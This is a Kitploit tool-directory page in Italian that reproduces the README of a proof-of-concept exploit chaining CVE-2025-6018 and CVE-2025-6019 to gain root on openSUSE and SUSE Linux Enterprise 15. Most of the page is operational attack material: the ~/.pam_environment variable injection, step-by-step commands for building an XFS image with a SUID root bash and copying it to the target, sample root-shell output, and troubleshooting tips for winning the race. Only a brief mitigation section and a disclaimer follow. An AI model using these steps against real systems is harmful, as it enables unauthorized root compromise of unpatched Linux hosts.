Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-6018-6019 — CVE-2025-6018 CVE-2025-6019 PoC Exploit - Escalation locale dei privilegi in openSUSE/SUSE Linux Enterprise 15 - Bypass PAM + race condition XFS in udisks2 per LPE a root | Kitploit
Strumenti/GitHubGitHub/desertdemons/cve-2025-6018-6019
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitPenetration TestingPaper e RicercaApprendimento e FormazioneBinary Exploitation
GitHubdesertdemons/cve-2025-6018-6019

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-6018-6019

CVE-2025-6018 CVE-2025-6019 PoC Exploit - Escalation locale dei privilegi in openSUSE/SUSE Linux Enterprise 15 - Bypass PAM + race condition XFS in udisks2 per LPE a root

Vedi Repository
414 mesi faNon ancora revisionato

CVE-2025-6018 CVE-2025-6019 PoC Exploit

Escalation Locale dei Privilegi (LPE) - openSUSE / SUSE Linux Enterprise 15

CVE-2025-6018 CVE-2025-6019 PoC Exploit License

PoC/Exploit funzionante per CVE-2025-6018 e CVE-2025-6019 - Escalation dei privilegi da utente non privilegiato a root su openSUSE Leap 15.x e SUSE Linux Enterprise 15.x

🎯 Riepilogo Rapido

CVE IDVulnerabilitàImpatto
CVE-2025-6018Iniezione di Variabili d'Ambiente PAMBypass dello stato polkit allow_active
CVE-2025-6019Race Condition nel Resize XFS di udisks2/libblockdevRoot shell

Catena di Attacco

root@kitploit:~
Unprivileged SSH User → [CVE-2025-6018] → allow_active → [CVE-2025-6019] → ROOT

🔥 Demo del Proof of Concept

root@kitploit:~
# Check vulnerability
./exploit.sh --check

# Setup PAM bypass (CVE-2025-6018)
./exploit.sh --setup

# Reconnect SSH, then: su - $USER

# Exploit (CVE-2025-6019)
./exploit.sh --exploit /tmp/xfs.img

# Result: ROOT SHELL
uid=1000(user) gid=1000(user) euid=0(root)

📥 Installazione

root@kitploit:~
git clone https://github.com/DesertDemons/CVE-2025-6018-6019.git
cd CVE-2025-6018-6019
chmod +x *.sh

🎯 Sistemi Affetti

  • ✅ openSUSE Leap 15.0, 15.1, 15.2, 15.3, 15.4, 15.5, 15.6
  • ✅ SUSE Linux Enterprise Server (SLES) 15 SP1-SP6
  • ✅ SUSE Linux Enterprise Desktop (SLED) 15 SP1-SP6

⚠️ Nota: openSUSE Leap 15.6 raggiunge la fine del ciclo di vita (End of Life) il 30 aprile 2026. Dopo questa data non verranno rilasciate ulteriori patch di sicurezza. Gli utenti dovrebbero migrare a Leap 16.0 o SLES con supporto esteso.

Componenti Vulnerabili

  • PAM (Linux-PAM 1.3.0 - 1.6.0) con user_readenv=1
  • udisks2 2.9.x con libblockdev
  • polkit con allow_active: yes per le azioni udisks2

📖 Utilizzo

Opzione 1: Verifica della Vulnerabilità

root@kitploit:~
./exploit.sh --check

Opzione 2: Configurazione del Bypass PAM (CVE-2025-6018)

root@kitploit:~
./exploit.sh --setup
# Then: exit SSH, reconnect, run: su - $USER

Opzione 3: Exploit (CVE-2025-6019)

root@kitploit:~
./exploit.sh --exploit /tmp/xfs.img

Opzione 4: Modalità Completamente Automatica

root@kitploit:~
./exploit.sh --auto /tmp/xfs.img

Opzione 5: Mostra le Istruzioni per la Creazione dell'Immagine

root@kitploit:~
./exploit.sh --create-image

🛠️ Creazione dell'Immagine Payload XFS

Eseguire sulla macchina ATTACCANTE come root:

⚠️ È OBBLIGATORIO utilizzare il binario /usr/bin/bash della vittima, non quello locale. Un binario bash proveniente da una distro diversa (Kali, Arch, Ubuntu, ecc.) fallirà sul target a causa della mancata corrispondenza ABI di glibc/librerie condivise — anche sulla stessa architettura x86_64.

Utilizzo dello script di supporto (consigliato)

Lo script rileva automaticamente la versione di xfsprogs e applica i flag corretti:

root@kitploit:~
# Get victim's bash first
scp user@target:/usr/bin/bash /tmp/victim_bash

# Create image (auto-detects safe mkfs flags)
sudo ./create_image.sh /tmp/victim_bash xfs.img

# For SUSE 15 SP1-SP4 targets (kernel < 5.14), use compatibility mode:
sudo ./create_image.sh --compat /tmp/victim_bash xfs.img

Creazione manuale

root@kitploit:~
sudo su -

# 1. Get victim's bash binary
scp user@target:/usr/bin/bash /tmp/bash

# 2. Create 300MB XFS image with safe flags
dd if=/dev/zero of=xfs.img bs=1M count=300
mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img

# 3. Mount with SUID support
mkdir -p /tmp/mnt
mount -o loop,suid xfs.img /tmp/mnt

# 4. Copy victim's bash and set SUID bit
cp /tmp/bash /tmp/mnt/xpl
chmod 4755 /tmp/mnt/xpl
chown root:root /tmp/mnt/xpl
ls -la /tmp/mnt/xpl  # MUST show: -rwsr-xr-x

# 5. Unmount and transfer
umount /tmp/mnt
scp xfs.img user@target:/tmp/

Compatibilità del formato XFS

L'immagine XFS deve essere formattata con flag compatibili con il kernel del target. Le versioni più recenti di xfsprogs abilitano per impostazione predefinita funzionalità su disco che i kernel SUSE più vecchi non possono leggere, causando errori wrong fs type, bad superblock durante il mount di resize di udisks2.

TargetKernelcomando mkfs.xfs
SUSE 15 SP5-SP65.14 / 6.4mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img
SUSE 15 SP1-SP44.12 - 5.3mkfs.xfs -f -m crc=0,reflink=0 xfs.img

Perché? exchange e parent sono funzionalità del kernel 6.10+ (abilitate per impostazione predefinita in xfsprogs 6.x). bigtime, inobtcount e nrext64 sono funzionalità del kernel 5.10+. Il comando "compat" per SP1-SP4 (-m crc=0,reflink=0) crea un formato XFS V4 con tutte le funzionalità moderne disabilitate, che funziona su ogni SP della serie SUSE 15.

🔬 Dettagli Tecnici

CVE-2025-6018: Iniezione di Variabili d'Ambiente PAM

Vulnerabilità: il modulo pam_env di PAM legge ~/.pam_environment con user_readenv=1 (impostazione predefinita su SUSE), consentendo l'iniezione di variabili d'ambiente.

Exploit: impostare XDG_SEAT=seat0 e XDG_VTNR=1 per indurre systemd-logind a concedere i privilegi polkit allow_active.

root@kitploit:~
# ~/.pam_environment
XDG_SEAT=seat0
XDG_VTNR=1

CVE-2025-6019: Race Condition nel Resize XFS

Vulnerabilità: quando si ridimensiona il filesystem XFS tramite udisks2, libblockdev monta temporaneamente il filesystem senza il flag nosuid.

Exploit:

  1. Creare un'immagine XFS con un binario SUID di root
  2. Configurare il dispositivo loop
  3. Attivare il resize tramite D-Bus
  4. Vincere la gara per eseguire il binario SUID durante il mount temporaneo
  5. Ottenere una shell root

📋 Procedura Completa di Sfruttamento

Passo 1: Verifica della Vulnerabilità

root@kitploit:~
./exploit.sh --check

Output:

root@kitploit:~
[+] pam_env.so found in PAM configuration
[+] pam_systemd.so found - escalation vector available
[+] Target OS is vulnerable (openSUSE/SLES)
[-] allow_active status: NO

Passo 2: Configurazione del Bypass PAM

root@kitploit:~
./exploit.sh --setup
exit
ssh user@target
su - $USER

Passo 3: Verifica di allow_active

root@kitploit:~
./exploit.sh --check

Output:

root@kitploit:~
[+] allow_active status: YES
    You have allow_active privileges!

Passo 4: Trasferimento dell'Immagine XFS

root@kitploit:~
# On attacker:
scp xfs.img user@target:/tmp/

Passo 5: Exploit

root@kitploit:~
./exploit.sh --exploit /tmp/xfs.img

Output:

root@kitploit:~
[+] Loop device created: /dev/loop0
[+] Loop device verified as XFS
[*] Starting race condition loop...
[*] Triggering XFS resize on loop0...

=== ROOT SHELL OBTAINED ===
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user)

root@target#

🔧 Risoluzione dei Problemi

🛡️ Mitigazione

Correzione Immediata

root@kitploit:~
# Disable user_readenv in PAM
sed -i 's/user_readenv=1/user_readenv=0/g' /etc/pam.d/common-auth

# Or restrict udisks2 polkit policy
# Change allow_active from "yes" to "auth_admin"

Patch dei Fornitori

  • Aggiornare i pacchetti PAM, udisks2 e libblockdev
  • Controllare gli advisory di sicurezza SUSE

📚 Riferimenti

  • Qualys Security Advisory
  • Qualys Technical Write-up
  • SUSE CVE-2025-6018
  • SUSE CVE-2025-6019
  • NVD CVE-2025-6018
  • NVD CVE-2025-6019

🏆 Crediti

  • Qualys Threat Research Unit - Scoperta originale della vulnerabilità
  • DesertDemons - Sviluppo dell'exploit PoC
  • Jazzruran - Segnalazione del bug di mancata corrispondenza della versione di xfsprogs e correzione (#1)

⚠️ Disclaimer

Questo strumento è destinato esclusivamente a test di sicurezza autorizzati e a fini educativi. L'accesso non autorizzato ai sistemi informatici è illegale. Gli autori non sono responsabili di alcun uso improprio.

📄 Licenza

MIT License


🔍 Parole Chiave

CVE-2025-6018 CVE-2025-6019 PoC Proof of Concept Exploit Privilege Escalation LPE Local Privilege Escalation Root openSUSE SUSE SLES PAM pam_env udisks2 libblockdev


⭐ Metti una stella a questa repo se ti è stata utile! ⭐

Scarica lo strumento
ProblemaCausaSoluzione
allow_active: NOBypass PAM non attivoEseguire --setup, uscire da SSH, riconnettersi, eseguire su - $USER
Image is not XFSFormato filesystem erratoUsare mkfs.xfs, non mkfs.ext4
SUID not workingPermessi non impostatiVerificare i permessi -rwsr-xr-x sulla macchina attaccante
Race condition missedProblema di tempisticaEseguire di nuovo l'exploit (di solito funziona in 1-3 tentativi)
Il binario SUID va in segfault o GLIBC_x.xx not foundBinario bash proveniente da una distro errata (mancata corrispondenza glibc/ABI)Usare il binario /usr/bin/bash della vittima tramite scp, non il proprio bash locale
Resize output: Error resizing filesystem on /dev/loopN: Failed to mount '/dev/loopN' before resizing it: wrong fs type, bad option, bad superblock on /dev/loopN, missing codepage or helper program, or other errorImmagine XFS formattata con funzionalità che il kernel del target non può leggere (mancata corrispondenza della versione di xfsprogs)Creare l'immagine con mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img per SP5/SP6, oppure mkfs.xfs -f -m crc=0,reflink=0 xfs.img per SP1-SP4
XFS
Race Condition
Security
Vulnerability
Pentest